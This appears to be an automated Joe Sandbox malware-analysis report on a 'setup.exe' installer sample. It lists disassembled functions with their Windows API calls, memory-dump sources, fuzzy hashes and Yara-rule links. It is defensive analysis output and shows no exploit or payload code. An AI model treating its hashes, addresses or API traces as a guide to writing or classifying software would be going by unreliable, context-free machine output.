Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 040a7e0d789931a885e98904e34fb369bef72c7c312577bd0d6f252efd828c84
Instruction ID: 235c9a1f152390887c8e3346b3cf8cf745e7d176c25095dba4735a56a8f4339d
Opcode Fuzzy Hash: 040a7e0d789931a885e98904e34fb369bef72c7c312577bd0d6f252efd828c84
Instruction Fuzzy Hash: 80714371D00229CBDF28CFA8C8447ADBBF1FB48305F15806AD846BB281D7395A96DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004064EE Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55b1e8378e3b2d282ecc9e99db2cbf184c75cfe722202a43e2005f386b139382
Instruction ID: 067b91939e33353516387f96afd3df60e22fb0a2a23546be1218d687de4ca84d
Opcode Fuzzy Hash: 55b1e8378e3b2d282ecc9e99db2cbf184c75cfe722202a43e2005f386b139382
Instruction Fuzzy Hash: 14715371E00229CFEF28CF98C844BADBBB1FB44305F15816AD816BB281C7799996DF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040643A Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c10b0ec6d8a1716373c4594016b158d4b4e2bf5790cbb1f15a9d43b973b4a336
Instruction ID: fa01dbb36adddbb747bc37ce8d7c8691094d52a97b4972d7f98645f49a39bfe1
Opcode Fuzzy Hash: c10b0ec6d8a1716373c4594016b158d4b4e2bf5790cbb1f15a9d43b973b4a336
Instruction Fuzzy Hash: B3715671D00229CBEF28CF98C844BADBBB1FF44305F11816AD856BB281C7795A56DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00401E1B Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

Part of subcall function 004053C6: SearchPathW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004224A8,Error launching installer), ref: 004053EB
Part of subcall function 004053C6: CloseHandle.KERNEL32(?), ref: 004053F8

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E55
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E65
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401E8A

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$CloseHandlelstrlen$CodeExitObjectPathProcessSearchSingleTextWaitWindowlstrcat
String ID:
API String ID: 1862049350-0
Opcode ID: 1fdde52640a539061ac3941da348919b66d20a0eed5ed07477821aeb51be007f
Instruction ID: 355628b0c836e6669011c6779fae97b23835f6d082b04fdd633ca662238f37b1
Opcode Fuzzy Hash: 1fdde52640a539061ac3941da348919b66d20a0eed5ed07477821aeb51be007f
Instruction Fuzzy Hash: 19019271D04215EBCF11AF91CD8599E7A75EB40358F20403BFA05B51E1C3794A82DBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00402427 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B00: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B28

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402455
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 00402468
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 7ee753624dbf1d18677495706af09138f056117853e35c5539aac98112ad9ba3
Instruction ID: ca0bea074700aed3f6d5cd19b6a76ded14fd7da9354d4d4a85815760a07b6232
Opcode Fuzzy Hash: 7ee753624dbf1d18677495706af09138f056117853e35c5539aac98112ad9ba3
Instruction Fuzzy Hash: 31F0A271A04201EFE715AF659E88EBB7A6CDB40398F10443FF406A61C0D6B85D42967A

Uniqueness

Uniqueness Score: -1.00%

Function 00402506 Relevance: 3.1, APIs: 2, Instructions: 79fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00000001,?,?,?,00000002), ref: 00402552

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileReadwsprintf
String ID:
API String ID: 3326442220-0
Opcode ID: f09489efe15c3b80ce99059f114ac931b0952256192e953ec66e22e0d2490737
Instruction ID: 6cc84ed2bafa7cfa1e138a8cf3ad7e95c15831b5a897215fce06e49f2d1c7330
Opcode Fuzzy Hash: f09489efe15c3b80ce99059f114ac931b0952256192e953ec66e22e0d2490737
Instruction Fuzzy Hash: 6821F870D05259BFCF219F648E595EEBBB49B01304F14817BE881B63D2D1BC8A81C72D

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
Instruction ID: b71ad761f0ea07ecc4e6183a90c0cd8288537aab3e92bb5761005deb6e4a9b1f
Opcode Fuzzy Hash: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
Instruction Fuzzy Hash: 20014431B24210ABE7291B388D08B2A32ADE714315F10423FF801F32F0D678DC028B4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040583D Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000003,00402CB5,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe,80000000,00000003), ref: 00405841
CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405863

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction ID: 90a47e22fdd321f70bf06df01bfdefa11f3e73682391c7296034eb3a8fe04f39
Opcode Fuzzy Hash: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction Fuzzy Hash: 8CD09E31658301AFEF098F20DD1AF2E7AA2EB84B00F10562CB646940E0D6715815DB16

Uniqueness

Uniqueness Score: -1.00%

Function 0040581E Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00405629,?,?,?), ref: 00405822
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405834

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction ID: 89544605ef234ac14ed66c3b065a2d642d1346908a696065e0ba681aeed38476
Opcode Fuzzy Hash: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction Fuzzy Hash: F8C04CB1808501ABD7056B24EF0D81F7B66EF50325B108B35F5A9E00F0C7355C66DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402B00 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B28

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: b5dfad00fa1cd151fd60990f5b06a3c2bada7c6ed29f77274f64d0dacc55a64b
Instruction ID: c0cb2249de0b0b7c7cf81be38287cf815beb59390f5746c35b3b1e544e0707b9
Opcode Fuzzy Hash: b5dfad00fa1cd151fd60990f5b06a3c2bada7c6ed29f77274f64d0dacc55a64b
Instruction Fuzzy Hash: BFE08676640108BFDB50DFA4ED4BFD637ECB704340F008421B608D7091C678F5409B68

Uniqueness

Uniqueness Score: -1.00%

Function 004031BF Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00409130,00000000,00000000,00000000,00413040,0040B040,004030C4,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000), ref: 004031D6

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction ID: 4c5c04567c480c11bae84e94003d2882b37cb3083c3cc1db03504fe221b835f3
Opcode Fuzzy Hash: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction Fuzzy Hash: DAE08631500119BBCF215E619C00A973B5CEB09362F008033FA04E9190D532DB109BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetDlgItemTextA.USER32(?,?,00000000), ref: 00403F32

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 3e813572aabfc24dd457d3397d8ae2cb884b5dfcfb659632984281e934c33c5c
Instruction ID: 32956ba5a052c000d200729fffd4f2c944d874cb1110b62223aa4bdd109d9e57
Opcode Fuzzy Hash: 3e813572aabfc24dd457d3397d8ae2cb884b5dfcfb659632984281e934c33c5c
Instruction Fuzzy Hash: E4C08C31048200BFD241AB04CC42F1FB3A8EFA0327F00C92EB05CE00D2C634D420CE2A

Uniqueness

Uniqueness Score: -1.00%

Function 00403F64 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(000204D6,00000000,00000000,00000000), ref: 00403F76

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 74a19277012f6d931596f598d2f6ffa2ec736fc7041dbb57cfa43a045af561dc
Instruction ID: 4934297729c285da13a483c37f1bad53b44c21571947472378d90217470b6476
Opcode Fuzzy Hash: 74a19277012f6d931596f598d2f6ffa2ec736fc7041dbb57cfa43a045af561dc
Instruction Fuzzy Hash: 6CC04C71B442017AEA209F619D45F177B68A754701F5444657204A51D0C674E510D61D

Uniqueness

Uniqueness Score: -1.00%

Function 00403F4D Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403D7E), ref: 00403F5B

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5380ca26047a56ac044db27ec5452a3d407db4c462228856e9187df95d64c5b6
Instruction ID: 0662716cb4741bc9db58cdf5bc89cb1196afa115b106f7c4ea820954fb206898
Opcode Fuzzy Hash: 5380ca26047a56ac044db27ec5452a3d407db4c462228856e9187df95d64c5b6
Instruction Fuzzy Hash: 17B09276685201BADA215B10DE09F457E62E764702F018064B204240B0C6B200A5DB09

Uniqueness

Uniqueness Score: -1.00%

Function 004031F1 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00402E9D,0000B5E4), ref: 004031FF

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction ID: eafd0aff1283cdec3023edec91852d87283cefa69c9b21bce59c6677f93a42a7
Opcode Fuzzy Hash: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction Fuzzy Hash: 14B01271644200BFDB214F00DF06F057B21A790701F108030B344380F082712420EB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00403F3A Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403D17), ref: 00403F44

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 315e157356e8942ef3b8d7e2082c61631171d9164c942d8812de0ab912510814
Instruction ID: 218003202f2b1835e3bff4e9bf146b8b4f872d9b8cc4e3003fd48478f7f9154f
Opcode Fuzzy Hash: 315e157356e8942ef3b8d7e2082c61631171d9164c942d8812de0ab912510814
Instruction Fuzzy Hash: 09A002755051049BCA519B54DE048057A62A754701741C479B24551575C7315461EB6E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404853 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 0040486A
GetDlgItem.USER32(?,00000408), ref: 00404877
GlobalAlloc.KERNEL32(00000040,00000001), ref: 004048C3
LoadBitmapA.USER32(0000006E), ref: 004048D6
SetWindowLongA.USER32(?,000000FC,00404E54), ref: 004048F0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404904
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404918
SendMessageA.USER32(?,00001109,00000002), ref: 0040492D
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404939
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 0040494B
DeleteObject.GDI32(?), ref: 00404950
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 0040497B
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404987
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A1C
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404A47
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A5B
GetWindowLongA.USER32(?,000000F0), ref: 00404A8A
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404A98
ShowWindow.USER32(?,00000005), ref: 00404AA9
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404BAC
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404C11
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404C26
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404C4A
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404C70
ImageList_Destroy.COMCTL32(?), ref: 00404C85
GlobalFree.KERNEL32(?), ref: 00404C95
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404D05
SendMessageA.USER32(?,00001102,00000410,?), ref: 00404DAE
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404DBD
InvalidateRect.USER32(?,00000000,00000001), ref: 00404DDD
ShowWindow.USER32(?,00000000), ref: 00404E2B
GetDlgItem.USER32(?,000003FE), ref: 00404E36
ShowWindow.USER32(00000000), ref: 00404E3D

Strings

M, xrefs: 00404A03
, xrefs: 00404E15
N, xrefs: 00404AE7

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: dede86c728acf6a11cc3ab5fbc78af527f28fbd96654b5baab0c469e43695f01
Instruction ID: 91af9d563adbb526dddc39620d8b288a2aea1bcbb5731436b9e02a5cfbe7d22d
Opcode Fuzzy Hash: dede86c728acf6a11cc3ab5fbc78af527f28fbd96654b5baab0c469e43695f01
